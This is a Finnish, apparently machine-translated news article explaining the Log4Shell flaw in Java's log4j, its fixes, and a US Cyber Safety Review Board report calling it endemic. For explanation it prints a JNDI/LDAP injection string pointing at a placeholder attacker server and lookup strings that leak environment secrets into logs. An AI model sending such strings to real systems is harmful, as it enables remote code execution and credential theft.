Kahdeksan kuukauden kuluttua USA sanoo Log8Shellin olevan olemassa "vuosikymmenen tai kauemmin"

Muistaa Log4Shell?

Se oli vaarallinen bugi suositussa avoimen lähdekoodin Java-ohjelmointityökalupaketissa nimeltä log4j, lyhenne sanoista "Logging for Java", jonka on julkaissut Apache Software Foundation liberaalilla, ilmaisella lähdekoodilisenssillä.

Jos olet koskaan kirjoittanut mitä tahansa ohjelmistoa, Windows-kannettavan yksinkertaisimmasta BAT-tiedostosta jyrkeimpään mega-sovellukseen, joka toimii useilla palvelimilla, olet käyttänyt kirjauskomentoja.

Perustuloksista, kuten echo "Starting calculations (this may take a while)" tulostettu näytölle aina muodollisiin viesteihin, jotka on tallennettu kerran kirjoitettavaan tietokantaan auditointi- tai vaatimustenmukaisuussyistä, kirjaus on olennainen osa useimpia ohjelmia, varsinkin kun jokin menee rikki ja tarvitset selkeän tietueen siitä, kuinka pitkälle olet päässyt ennen ongelma iski.

Log4Shell alttius (itse asiassa kävi ilmi, että siihen liittyviä ongelmia oli useita, mutta käsittelemme niitä kaikkia ikään kuin ne olisivat yksi iso ongelma tässä yksinkertaisuuden vuoksi) osoittautui puoliksi bugiksi, puoliksi ominaisuus.

Toisin sanoen Log4j teki sen, mitä käsikirjassa sanottiin, toisin kuin bugissa, kuten puskurin ylivuoto, jossa loukkaava ohjelma yrittää virheellisesti sotkea tietoja, jotka se lupasi jättää rauhaan…

…mutta ellet ollut lukenut käyttöohjetta todella huolellisesti ja ryhtynyt itse lisävarotoimiin lisäämällä tasoa huolellista syötteen tarkistusta Log4j:n päälle, ohjelmistosi saattaa jumiutua.

Todella, huonosti, täysin jumissa.

Interpolointia pidettiin haitallisena

Yksinkertaisesti sanottuna Log4j ei aina tallentanut lokiviestejä täsmälleen sellaisina kuin annoit ne.

Sen sijaan siinä oli "ominaisuus", joka tunnetaan eri tavoin ja hämmentävästi jargonissa nimellä interpolointi, komentojen vaihto or automaattinen uudelleenkirjoitus, jotta voit käynnistää tekstinkäsittelyominaisuuksia itse kirjautumisapuohjelmassa ilman, että sinun tarvitsee kirjoittaa omaa koodia tehdäksesi sen.

Esimerkiksi alla olevan INPUT-sarakkeen teksti kirjataan kirjaimellisesti, täsmälleen sellaisena kuin näet sen, mikä on todennäköisesti sitä, mitä voit odottaa lokityökalupakkilta, varsinkin jos haluat pitää tarkkaa kirjaa käyttäjien esittämistä syötetiedoista. sääntelysyistä:

SYÖTTÖTULOS ----------------------- ------------------------- KÄYTTÄJÄNIMI =ankka -> KÄYTTÄJÄNIMI=ankka Soittajan-ID:555-555-5555 -> Soittajan tunnus:555-555-5555 Nykyinen versio = 17.0.1 -> Nykyinen versio = 17.0.1

Mutta jos lähetit tekstin käärittynä taikamerkkijonoon ${...}, loggeri teki joskus fiksuja asioita sen kanssa, saatuaan tekstin, mutta ennen kuin varsinaisesti kirjoittanut lokitiedostoon, kuten näin:

SYÖTTÖTULOS ---------------------------------- --------------- ----------------------------- CURRENT=${java:versio}/${java:os} -> CURRENT=Java-versio 17.0.1/Windows 10 10.0 Palvelintili on: ${env:USER} -> Palvelintili on: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Selvästikin, jos hyväksyt lokitekstin luotetusta lähteestä, jossa on järkevää antaa loggeen hallita loggeria käskemällä sitä korvaamaan pelkkä teksti sisäisillä tiedoilla, tällainen tekstin uudelleenkirjoittaminen on hyödyllistä.

Mutta jos tavoitteesi on pitää kirjaa etäkäyttäjän lähettämistä tiedoista, ehkä viranomaisrekisteröintitarkoituksiin, tällainen automaattinen uudelleenkirjoittaminen on kaksinkertaisesti vaarallista:

• Riitatapauksessa sinulla ei ole luotettavaa tietoa siitä, mitä käyttäjä todella lähetti, koska sitä on saatettu muuttaa syötteen ja lähdön välillä.
• Haitallinen käyttäjä voi lähettää lujasti rakennettuja syötteitä provosoidakseen palvelimesi tekemään jotain, mitä sen ei olisi pitänyt tehdä.

Jos kirjaat käyttäjän syötteitä, kuten selaimen tunnistemerkkijonoa, sano (tunnetaan ammattikielessä nimellä User-Agent), tai heidän käyttäjätunnuksensa tai puhelinnumeronsa, et halua antaa käyttäjälle mahdollisuutta huijata sinua kirjoittamaan yksityisiä tietoja (kuten vain muistia käyttävän salasanan merkkijonoa, kuten yllä olevassa esimerkissä AWS_ACCESS_KEY_ID) pysyvään lokitiedostoon.

Varsinkin jos olet vakuuttavasti kertonut tilintarkastajillesi tai valvojalle, että et koskaan kirjoita selkokielisiä salasanoja pysyvään tallennustilaan. (Sinä ei pitäisi tehdä tätä, vaikka et olisi virallisesti kertonut sääntelijälle, et tee!)

Pahempaa on tulossa

Log4Shell is-it-a-bug-or-is-it-a-feature -tapauksessa asiat olivat kuitenkin paljon huonommin kuin edellä esitetyissä jo riskialttiissa esimerkeissä.

Esimerkiksi käyttäjä, joka on tarkoituksella lähettänyt alla olevan syötteen kaltaisia ​​tietoja, voi laukaista todella vaarallisen tapahtumasarjan:

TULOS ------------------------------------------------- ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Lataa ja suorita Java-etäohjelma!?

Yllä olevassa "interpolointi"-merkkijonossa ${...} merkkijono, joka sisältää lyhenteet jndi ja ldap käski Log4j:n tekemään tämän:

• Käytä Java-nimeämis- ja hakemistoliittymää (JNDI) paikallistaa dodgy.server.example verkossa.
• Yhdistä kyseiseen palvelimeen LDAP:n kautta, käyttämällä TCP-porttia 8888.
• Pyydä tiedot tallennettu LDAP-objektiin BadThing.

Toisin sanoen, hyökkääjät voivat lähettää erityisesti muotoiltuja syötteitä, jotka käskivät palvelintasi "soittaa kotiin". heidän hallinnassaan olevalle palvelimelle, ilman niinkään sivuvapaata.

Miten tämä voisi olla "ominaisuus"?

Saatat ihmetellä, kuinka tällainen "ominaisuus" pääsi Log4j-koodiin.

Mutta tällainen tekstin uudelleenkirjoittaminen voi olla hyödyllistä, kunhan kirjaat tietoja luotettavasta lähteestä.

Voit esimerkiksi kirjata numeerisen käyttäjätunnuksen, mutta myös pyytää loggeria käyttämään LDAP:ta ( kevyt hakemiston käyttöprotokolla, jota käytetään laajalti teollisuudessa, mukaan lukien Microsoftin Active Directory -järjestelmä) hakemaan ja tallentamaan kyseiseen tilinumeroon tuolloin liittyvän käyttäjänimen.

Tämä parantaisi sekä lokitiedoston luettavuutta että historiallista arvoa.

Mutta LDAP-palvelin, jonka Log4j kutsui yllä olevassa esimerkissä (jonka etäkäyttäjä valitsi, älä unohda), ei todennäköisesti tiedä totuutta, saati kertoa sen, ja pahantahtoinen käyttäjä voi siksi käyttää tätä temppua. lokisi, joissa on vääriä ja jopa laillisesti kyseenalaisia ​​tietoja.

Vielä pahempaa, LDAP-palvelin voisi palauttaa esikäännetyn Java-koodin kirjattavien tietojen luomiseksi, ja palvelimesi suorittaisi velvollisuudentuntoisesti kyseistä ohjelmaa – tuntematonta ohjelmaa, jonka toimittaa epäluotettava palvelin ja jonka valitsee epäluotettava käyttäjä.

Löyhästi sanottuna, jos jokin palvelin, missä tahansa verkossasi, kirjasi ulkopuolelta tulleen epäluotettavan syötteen ja käytti Log4j:tä tähän…

…syötettä voidaan käyttää suorana ja välittömänä tapana huijata palvelimesi suorittamaan jonkun toisen koodia, juuri sillä tavalla.

Sitä kutsutaan RCE jargonissa lyhenne koodin etäsuorittaminen, ja RCE-virheet ovat yleensä kyberrikollisten eniten etsimiä, koska niitä voidaan yleensä hyödyntää haittaohjelmien automaattiseen istuttamiseen.

Valitettavasti tämän vian luonteen vuoksi vaara ei rajoittunut Internetiin päin oleviin palvelimiin, joten C-kielellä kirjoitettujen web-palvelimien käyttäminen ei Java-kielellä (esim. IIS, Apache https, nginx), joten he eivät itse käyttäneet bugia. Log4j-koodi, ei vapauttanut sinua riskeistä.

Teoriassa mikä tahansa Java-taustasovellus, joka vastaanotti ja kirjasi tietoja muualta verkossasi ja joka käytti Log4j-kirjastoa…

…ulkopuoliset hyökkääjät voivat saavuttaa ja hyödyntää niitä.

Korjaus oli melko suoraviivainen:

• Etsi vanhoja versioita Log4j missä tahansa ja kaikkialla verkossasi. Java-moduuleilla on yleensä nimet, kuten log4j-api-2.14.0.jar ja log4j-core-2.14.0.jar, Jossa jar on lyhyt Java-arkisto, erikoisrakenteinen ZIP-tiedosto. Haettavan etuliitteen, lopullisen päätteen ja tiedostonimeen upotetun versionumeron ansiosta loukkaavien tiedostojen löytäminen nopeasti "vääristä" Java-kirjastokoodiversioista on itse asiassa melko helppoa.
• Vaihda bugiset versiot uudemmilla, korjatuilla.
• Jos et voinut vaihtaa Log4J-versiota, voit vähentää tai poistaa riskiä poistamalla yhden koodimoduulin virheellisestä Log4j-paketista (Java-koodi, joka käsitteli JNDI-hakuja, kuten yllä on kuvattu) ja pakkaamalla oman supistetun JAR-tiedostosi uudelleen niin, että vika on estetty.

Saaga jatkuu

Valitettavasti viimeaikainen, yksityiskohtainen raportti Yhdysvaltain viime viikolla julkaisemassa Log4Shell-saagassa Kyberturvallisuuden arviointilautakunta (CSRB), joka on osa Homeland Securityn ministeriötä, sisältää huolestuttavan ehdotuksen (kursivomme alla), että:

[L]log4j-tapahtuma ei ole ohi. [CSRB] arvioi, että Log4j on "endeeminen haavoittuvuus" ja että Log4j:n haavoittuvat esiintymät pysyvät järjestelmissä vielä vuosia, ehkä vuosikymmen tai kauemmin. Merkittävä riski säilyy.

Mitä tehdä?

42-sivuisena (pelkästään yhteenveto on lähes kolme sivua) Hallituksen raportti on pitkä asiakirja, ja osa siitä on raskasta.

Suosittelemme kuitenkin lukemaan sen läpi, koska se on kiehtova tarina siitä, kuinka jopa kyberturvaongelmat, joiden pitäisi olla nopeasti ja helposti korjattavissa, voidaan jättää huomiotta tai lykätä myöhemmäksi tai yhtä hyvin - evätä kokonaan kuin "jonkun muun" ongelma” korjataksesi.

Huomattavia ehdotuksia Yhdysvaltain julkishallinnolta, joita tuemme täysin, ovat:

• Kehitä kykyä ylläpitää tarkkaa tietotekniikan (IT) omaisuutta ja sovellusluetteloa.
• [Asenna] dokumentoitu haavoittuvuuden vastausohjelma.
• [Ota käyttöön] dokumentoitu haavoittuvuuden paljastamis- ja käsittelyprosessi.

Kun kyse on kyberturvallisuudesta, älä kysy, mitä kaikki muut voivat tehdä puolestasi…

…mutta mieti, mitä voit tehdä itse, sillä tekemäsi parannukset ovat lähes varmasti hyödyttää kaikkia muita samoin.

---

[Upotetun sisällön]

---